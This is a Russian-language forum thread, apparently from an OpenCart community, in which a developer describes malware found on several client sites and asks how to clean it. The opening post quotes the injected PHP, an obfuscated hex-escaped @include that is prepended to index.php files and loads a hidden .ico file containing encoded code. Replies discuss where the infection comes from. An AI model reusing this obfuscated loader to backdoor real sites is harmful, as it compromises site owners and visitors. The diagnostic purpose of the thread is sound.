Уже на нескольких сайтах вижу один и тот же вирус

[sv2109]

Приветствую, по работе постоянно приходится заходить через FTP на разные опенкарт сайты для напр. установки или настройки какого-то модуля. 
В последнее время все чаще начинаю видеть на сайтах один и тот же вирус (уже на 3-х сайтах видел). Он ведет себя тихо и никаких проблем визуально не создает пользователям поэтому никто не обращает на него внимания. 
Симптомы:
1. Изменяет файл index.php в корне сайта и в папке admin
добавляет туда в начало примерно такой код:

<?php
/*2f97c*/

@include "\x2fvar\x2fwww\x2fu04\x37271\x39/da\x74a/w\x77w/b\x61-\x67.\x72u/a\x64min\x2fcon\x74rol\x6cer/\x75ser\x2f.0c\x6435b\x64f.i\x63o";

/*2f97c*/

2. везде где может (где есть права на запись) закидывает файл index.php c примерно таким кодом:
 

<?php
/*2b3b6*/

@include "\x2fva\x72/w\x77w/\x7504\x3727\x319/\x64at\x61/w\x77w/\x62\x79-.\x72u/\x61dm\x69n/\x63on\x74ro\x6cle\x72/u\x73er\x2f.0\x63d3\x35bd\x
66.i\x63o";

/*2b3b6*/

в первом случае этим кодом подключается файл:
/var/www/u0472719/data/www/хххх/admin/controller/user/.0cd35bdf.ico
в котором куча закодированного php кода, дальше уже не разбирался. 

Кто с этим сталкивался и как лечите? 

[spectre]

Лечится как и любой другой

это не 100% опенкартовый вирус, обычно это от соседей с вордрессом

 

еще где-то лежит файлик ico с приветом на который ссылаются эти все индексы

[AlexDem]

П

Змінено 7 червня 2018 користувачем AlexDem

[emazai]

On 6/7/2018 at 2:59 PM, spectre said:

Лечится как и любой другой

это не 100% опенкартовый вирус, обычно это от соседей с вордрессом

 

еще где-то лежит файлик ico с приветом на который ссылаются эти все индексы

 

Здравствуйте!

Подскажите, что за файлик?

Какой там примерно может быть привет?

Мне просто актуально....